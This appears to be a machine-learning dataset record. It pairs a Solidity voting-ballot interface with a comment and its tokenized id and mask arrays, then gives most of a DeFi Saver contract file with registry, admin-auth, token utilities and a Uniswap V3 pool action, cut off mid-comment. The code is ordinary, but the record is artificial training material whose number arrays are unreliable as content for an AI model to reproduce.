function appendAddress(address[] memory arr, address val) internal pure returns (address[] memory toRet) {
toRet = new address[](arr.length + 1);
for (uint256 i = 0; i < arr.length; i++) {
toRet[i] = arr[i];
}
toRet[arr.length] = val;
}
}
|
note that the ballotId returned INCLUDES the namespace.
|
interface BBFarmIface {
event BBFarmInit(bytes4 namespace);
event BallotCreatedWithID(uint ballotId);
function upgradeMe(address newSC) external;
function getNamespace() external view returns (bytes4);
function getVersion() external view returns (uint);
function getBBLibVersion() external view returns (uint256);
function getNBallots() external view returns (uint256);
function initBallot( bytes32 specHash
, uint256 packed
, IxIface ix
, address bbAdmin
, bytes24 extraData
) external returns (uint ballotId);
function sponsor(uint ballotId) external payable;
function submitVote(uint ballotId, bytes32 vote, bytes extra) external;
function submitProxyVote(bytes32[5] proxyReq, bytes extra) external;
function getDetails(uint ballotId, address voter) external view returns
( bool hasVoted
, uint nVotesCast
, bytes32 secKey
, uint16 submissionBits
, uint64 startTime
, uint64 endTime
, bytes32 specHash
, bool deprecated
, address ballotOwner
, bytes16 extraData);
function getVote(uint ballotId, uint voteId) external view returns (bytes32 voteData, address sender, bytes extra);
function getTotalSponsorship(uint ballotId) external view returns (uint);
function getSponsorsN(uint ballotId) external view returns (uint);
function getSponsor(uint ballotId, uint sponsorN) external view returns (address sender, uint amount);
function getCreationTs(uint ballotId) external view returns (uint);
function revealSeckey(uint ballotId, bytes32 sk) external;
function setDeprecated(uint ballotId) external;
function setBallotOwner(uint ballotId, address newOwner) external;
}
| 10,765,265 |
[
1,
7652,
716,
326,
26503,
352,
548,
2106,
28062,
55,
326,
1981,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
605,
15259,
4610,
45,
865,
288,
203,
203,
565,
871,
605,
15259,
4610,
2570,
12,
3890,
24,
1981,
1769,
203,
565,
871,
605,
454,
352,
6119,
1190,
734,
12,
11890,
26503,
352,
548,
1769,
203,
203,
203,
565,
445,
8400,
4667,
12,
2867,
394,
2312,
13,
3903,
31,
203,
203,
203,
565,
445,
11153,
1435,
3903,
1476,
1135,
261,
3890,
24,
1769,
203,
565,
445,
8343,
1435,
3903,
1476,
1135,
261,
11890,
1769,
203,
565,
445,
2882,
38,
5664,
1444,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
11069,
38,
454,
6968,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
203,
565,
445,
1208,
38,
454,
352,
12,
1731,
1578,
857,
2310,
203,
15604,
269,
2254,
5034,
12456,
203,
15604,
269,
467,
92,
45,
865,
8288,
203,
15604,
269,
1758,
7129,
4446,
203,
15604,
269,
1731,
3247,
2870,
751,
203,
15604,
262,
3903,
1135,
261,
11890,
26503,
352,
548,
1769,
203,
203,
203,
565,
445,
272,
500,
2467,
12,
11890,
26503,
352,
548,
13,
3903,
8843,
429,
31,
203,
203,
203,
565,
445,
4879,
19338,
12,
11890,
26503,
352,
548,
16,
1731,
1578,
12501,
16,
1731,
2870,
13,
3903,
31,
203,
565,
445,
4879,
3886,
19338,
12,
3890,
1578,
63,
25,
65,
2889,
6113,
16,
1731,
2870,
13,
3903,
31,
203,
203,
203,
565,
445,
2343,
1987,
12,
11890,
26503,
352,
548,
16,
1758,
331,
20005,
13,
3903,
1476,
1135,
203,
5411,
261,
1426,
711,
58,
16474,
203,
5411,
269,
2254,
290,
29637,
9735,
203,
5411,
269,
1731,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
pragma experimental ABIEncoderV2;
contract DSMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "");
}
function div(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x / y;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) internal pure returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) internal pure returns (int256 z) {
return x >= y ? x : y;
}
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**27;
function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
abstract contract IDFSRegistry {
function getAddr(bytes32 _id) public view virtual returns (address);
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
interface IERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/// @dev Edited so it always first approves 0 and then the value, because of non standard tokens
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AdminVault {
address public owner;
address public admin;
constructor() {
owner = msg.sender;
admin = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public {
require(admin == msg.sender, "msg.sender not admin");
owner = _owner;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public {
require(admin == msg.sender, "msg.sender not admin");
admin = _admin;
}
}
contract AdminAuth {
using SafeERC20 for IERC20;
address public constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD;
AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR);
modifier onlyOwner() {
require(adminVault.owner() == msg.sender, "msg.sender not owner");
_;
}
modifier onlyAdmin() {
require(adminVault.admin() == msg.sender, "msg.sender not admin");
_;
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(msg.sender));
}
}
contract DefisaverLogger {
event LogEvent(
address indexed contractAddress,
address indexed caller,
string indexed logName,
bytes data
);
// solhint-disable-next-line func-name-mixedcase
function Log(
address _contract,
address _caller,
string memory _logName,
bytes memory _data
) public {
emit LogEvent(_contract, _caller, _logName, _data);
}
}
contract DFSRegistry is AdminAuth {
DefisaverLogger public constant logger = DefisaverLogger(
0x5c55B921f590a89C1Ebe84dF170E655a82b62126
);
string public constant ERR_ENTRY_ALREADY_EXISTS = "Entry id already exists";
string public constant ERR_ENTRY_NON_EXISTENT = "Entry id doesn't exists";
string public constant ERR_ENTRY_NOT_IN_CHANGE = "Entry not in change process";
string public constant ERR_WAIT_PERIOD_SHORTER = "New wait period must be bigger";
string public constant ERR_CHANGE_NOT_READY = "Change not ready yet";
string public constant ERR_EMPTY_PREV_ADDR = "Previous addr is 0";
string public constant ERR_ALREADY_IN_CONTRACT_CHANGE = "Already in contract change";
string public constant ERR_ALREADY_IN_WAIT_PERIOD_CHANGE = "Already in wait period change";
struct Entry {
address contractAddr;
uint256 waitPeriod;
uint256 changeStartTime;
bool inContractChange;
bool inWaitPeriodChange;
bool exists;
}
mapping(bytes32 => Entry) public entries;
mapping(bytes32 => address) public previousAddresses;
mapping(bytes32 => address) public pendingAddresses;
mapping(bytes32 => uint256) public pendingWaitTimes;
/// @notice Given an contract id returns the registered address
/// @dev Id is keccak256 of the contract name
/// @param _id Id of contract
function getAddr(bytes32 _id) public view returns (address) {
return entries[_id].contractAddr;
}
/// @notice Helper function to easily query if id is registered
/// @param _id Id of contract
function isRegistered(bytes32 _id) public view returns (bool) {
return entries[_id].exists;
}
/////////////////////////// OWNER ONLY FUNCTIONS ///////////////////////////
/// @notice Adds a new contract to the registry
/// @param _id Id of contract
/// @param _contractAddr Address of the contract
/// @param _waitPeriod Amount of time to wait before a contract address can be changed
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public onlyOwner {
require(!entries[_id].exists, ERR_ENTRY_ALREADY_EXISTS);
entries[_id] = Entry({
contractAddr: _contractAddr,
waitPeriod: _waitPeriod,
changeStartTime: 0,
inContractChange: false,
inWaitPeriodChange: false,
exists: true
});
// Remember tha address so we can revert back to old addr if needed
previousAddresses[_id] = _contractAddr;
logger.Log(
address(this),
msg.sender,
"AddNewContract",
abi.encode(_id, _contractAddr, _waitPeriod)
);
}
/// @notice Reverts to the previous address immediately
/// @dev In case the new version has a fault, a quick way to fallback to the old contract
/// @param _id Id of contract
function revertToPreviousAddress(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(previousAddresses[_id] != address(0), ERR_EMPTY_PREV_ADDR);
address currentAddr = entries[_id].contractAddr;
entries[_id].contractAddr = previousAddresses[_id];
logger.Log(
address(this),
msg.sender,
"RevertToPreviousAddress",
abi.encode(_id, currentAddr, previousAddresses[_id])
);
}
/// @notice Starts an address change for an existing entry
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
/// @param _newContractAddr Address of the new contract
function startContractChange(bytes32 _id, address _newContractAddr) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(!entries[_id].inWaitPeriodChange, ERR_ALREADY_IN_WAIT_PERIOD_CHANGE);
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inContractChange = true;
pendingAddresses[_id] = _newContractAddr;
logger.Log(
address(this),
msg.sender,
"StartContractChange",
abi.encode(_id, entries[_id].contractAddr, _newContractAddr)
);
}
/// @notice Changes new contract address, correct time must have passed
/// @param _id Id of contract
function approveContractChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE);
require(
block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line
ERR_CHANGE_NOT_READY
);
address oldContractAddr = entries[_id].contractAddr;
entries[_id].contractAddr = pendingAddresses[_id];
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
pendingAddresses[_id] = address(0);
previousAddresses[_id] = oldContractAddr;
logger.Log(
address(this),
msg.sender,
"ApproveContractChange",
abi.encode(_id, oldContractAddr, entries[_id].contractAddr)
);
}
/// @notice Cancel pending change
/// @param _id Id of contract
function cancelContractChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE);
address oldContractAddr = pendingAddresses[_id];
pendingAddresses[_id] = address(0);
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
logger.Log(
address(this),
msg.sender,
"CancelContractChange",
abi.encode(_id, oldContractAddr, entries[_id].contractAddr)
);
}
/// @notice Starts the change for waitPeriod
/// @param _id Id of contract
/// @param _newWaitPeriod New wait time
function startWaitPeriodChange(bytes32 _id, uint256 _newWaitPeriod) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(!entries[_id].inContractChange, ERR_ALREADY_IN_CONTRACT_CHANGE);
pendingWaitTimes[_id] = _newWaitPeriod;
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inWaitPeriodChange = true;
logger.Log(
address(this),
msg.sender,
"StartWaitPeriodChange",
abi.encode(_id, _newWaitPeriod)
);
}
/// @notice Changes new wait period, correct time must have passed
/// @param _id Id of contract
function approveWaitPeriodChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE);
require(
block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line
ERR_CHANGE_NOT_READY
);
uint256 oldWaitTime = entries[_id].waitPeriod;
entries[_id].waitPeriod = pendingWaitTimes[_id];
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
pendingWaitTimes[_id] = 0;
logger.Log(
address(this),
msg.sender,
"ApproveWaitPeriodChange",
abi.encode(_id, oldWaitTime, entries[_id].waitPeriod)
);
}
/// @notice Cancel wait period change
/// @param _id Id of contract
function cancelWaitPeriodChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE);
uint256 oldWaitPeriod = pendingWaitTimes[_id];
pendingWaitTimes[_id] = 0;
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
logger.Log(
address(this),
msg.sender,
"CancelWaitPeriodChange",
abi.encode(_id, oldWaitPeriod, entries[_id].waitPeriod)
);
}
}
abstract contract ActionBase is AdminAuth {
address public constant REGISTRY_ADDR = 0xD6049E1F5F3EfF1F921f5532aF1A1632bA23929C;
DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR);
DefisaverLogger public constant logger = DefisaverLogger(
0x5c55B921f590a89C1Ebe84dF170E655a82b62126
);
string public constant ERR_SUB_INDEX_VALUE = "Wrong sub index value";
string public constant ERR_RETURN_INDEX_VALUE = "Wrong return index value";
/// @dev Subscription params index range [128, 255]
uint8 public constant SUB_MIN_INDEX_VALUE = 128;
uint8 public constant SUB_MAX_INDEX_VALUE = 255;
/// @dev Return params index range [1, 127]
uint8 public constant RETURN_MIN_INDEX_VALUE = 1;
uint8 public constant RETURN_MAX_INDEX_VALUE = 127;
/// @dev If the input value should not be replaced
uint8 public constant NO_PARAM_MAPPING = 0;
/// @dev We need to parse Flash loan actions in a different way
enum ActionType { FL_ACTION, STANDARD_ACTION, CUSTOM_ACTION }
/// @notice Parses inputs and runs the implemented action through a proxy
/// @dev Is called by the TaskExecutor chaining actions together
/// @param _callData Array of input values each value encoded as bytes
/// @param _subData Array of subscribed vales, replaces input values if specified
/// @param _paramMapping Array that specifies how return and subscribed values are mapped in input
/// @param _returnValues Returns values from actions before, which can be injected in inputs
/// @return Returns a bytes32 value through DSProxy, each actions implements what that value is
function executeAction(
bytes[] memory _callData,
bytes[] memory _subData,
uint8[] memory _paramMapping,
bytes32[] memory _returnValues
) public payable virtual returns (bytes32);
/// @notice Parses inputs and runs the single implemented action through a proxy
/// @dev Used to save gas when executing a single action directly
function executeActionDirect(bytes[] memory _callData) public virtual payable;
/// @notice Returns the type of action we are implementing
function actionType() public pure virtual returns (uint8);
//////////////////////////// HELPER METHODS ////////////////////////////
/// @notice Given an uint256 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamUint(
uint _param,
uint8 _mapType,
bytes[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (uint) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = uint(_returnValues[getReturnIndex(_mapType)]);
} else {
_param = abi.decode(_subData[getSubIndex(_mapType)], (uint));
}
}
return _param;
}
/// @notice Given an addr input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamAddr(
address _param,
uint8 _mapType,
bytes[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (address) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = address(bytes20((_returnValues[getReturnIndex(_mapType)])));
} else {
_param = abi.decode(_subData[getSubIndex(_mapType)], (address));
}
}
return _param;
}
/// @notice Given an bytes32 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamABytes32(
bytes32 _param,
uint8 _mapType,
bytes[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (bytes32) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = (_returnValues[getReturnIndex(_mapType)]);
} else {
_param = abi.decode(_subData[getSubIndex(_mapType)], (bytes32));
}
}
return _param;
}
/// @notice Checks if the paramMapping value indicated that we need to inject values
/// @param _type Indicated the type of the input
function isReplaceable(uint8 _type) internal pure returns (bool) {
return _type != NO_PARAM_MAPPING;
}
/// @notice Checks if the paramMapping value is in the return value range
/// @param _type Indicated the type of the input
function isReturnInjection(uint8 _type) internal pure returns (bool) {
return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in return array value
/// @param _type Indicated the type of the input
function getReturnIndex(uint8 _type) internal pure returns (uint8) {
require(isReturnInjection(_type), ERR_SUB_INDEX_VALUE);
return (_type - RETURN_MIN_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in sub array value
/// @param _type Indicated the type of the input
function getSubIndex(uint8 _type) internal pure returns (uint8) {
require(_type >= SUB_MIN_INDEX_VALUE, ERR_RETURN_INDEX_VALUE);
return (_type - SUB_MIN_INDEX_VALUE);
}
}
abstract contract IWETH {
function allowance(address, address) public virtual view returns (uint256);
function balanceOf(address) public virtual view returns (uint256);
function approve(address, uint256) public virtual;
function transfer(address, uint256) public virtual returns (bool);
function transferFrom(
address,
address,
uint256
) public virtual returns (bool);
function deposit() public payable virtual;
function withdraw(uint256) public virtual;
}
library TokenUtils {
using SafeERC20 for IERC20;
address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
function approveToken(
address _tokenAddr,
address _to,
uint256 _amount
) internal {
if (_tokenAddr == ETH_ADDR) return;
if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) {
IERC20(_tokenAddr).safeApprove(_to, _amount);
}
}
function pullTokensIfNeeded(
address _token,
address _from,
uint256 _amount
) internal returns (uint256) {
// handle max uint amount
if (_amount == type(uint256).max) {
_amount = getBalance(_token, _from);
}
if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) {
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
return _amount;
}
function withdrawTokens(
address _token,
address _to,
uint256 _amount
) internal returns (uint256) {
if (_amount == type(uint256).max) {
_amount = getBalance(_token, address(this));
}
if (_to != address(0) && _to != address(this) && _amount != 0) {
if (_token != ETH_ADDR) {
IERC20(_token).safeTransfer(_to, _amount);
} else {
payable(_to).transfer(_amount);
}
}
return _amount;
}
function depositWeth(uint256 _amount) internal {
IWETH(WETH_ADDR).deposit{value: _amount}();
}
function withdrawWeth(uint256 _amount) internal {
IWETH(WETH_ADDR).withdraw(_amount);
}
function getBalance(address _tokenAddr, address _acc) internal view returns (uint256) {
if (_tokenAddr == ETH_ADDR) {
return _acc.balance;
} else {
return IERC20(_tokenAddr).balanceOf(_acc);
}
}
function getTokenDecimals(address _token) internal view returns (uint256) {
if (_token == ETH_ADDR) return 18;
return IERC20(_token).decimals();
}
}
abstract contract IUniswapV3NonfungiblePositionManager{
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
function mint(MintParams calldata params)
external
virtual
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct IncreaseLiquidityParams {
uint256 tokenId;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
function increaseLiquidity(IncreaseLiquidityParams calldata params)
external
virtual
payable
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
function decreaseLiquidity(DecreaseLiquidityParams calldata params)
external
virtual
payable
returns (uint256 amount0, uint256 amount1);
struct CollectParams {
uint256 tokenId;
address recipient;
uint128 amount0Max;
uint128 amount1Max;
}
function collect(CollectParams calldata params) external virtual payable returns (uint256 amount0, uint256 amount1);
function positions(uint256 tokenId)
external
virtual
view
returns (
uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
function balanceOf(address owner) external virtual view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index) external virtual view returns (uint256 tokenId);
function approve(address to, uint256 tokenId) public virtual;
/// @notice Creates a new pool if it does not exist, then initializes if not initialized
/// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool
/// @param token0 The contract address of token0 of the pool
/// @param token1 The contract address of token1 of the pool
/// @param fee The fee amount of the v3 pool for the specified token pair
/// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value
/// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external virtual payable returns (address pool);
}
contract UniCreatePoolV3 is ActionBase, DSMath {
using TokenUtils for address;
IUniswapV3NonfungiblePositionManager public constant positionManager =
IUniswapV3NonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
/// @param token0 The contract address of token0 of the pool
/// @param token1 The contract address of token1 of the pool
/// @param fee The fee amount of the v3 pool for the specified token pair
/// @param tickLower The lower end of the tick range for the position
/// @param tickUpper The higher end of the tick range for the position
/// @param amount0Desired The desired amount of token0 that should be supplied
/// @param amount1Desired The desired amount of token1 that should be supplied
/// @param amount0Min The minimum amount of token0 that should be supplied,
/// @param amount1Min The minimum amount of token1 that should be supplied,
/// @param recipient address which will receive the NFT
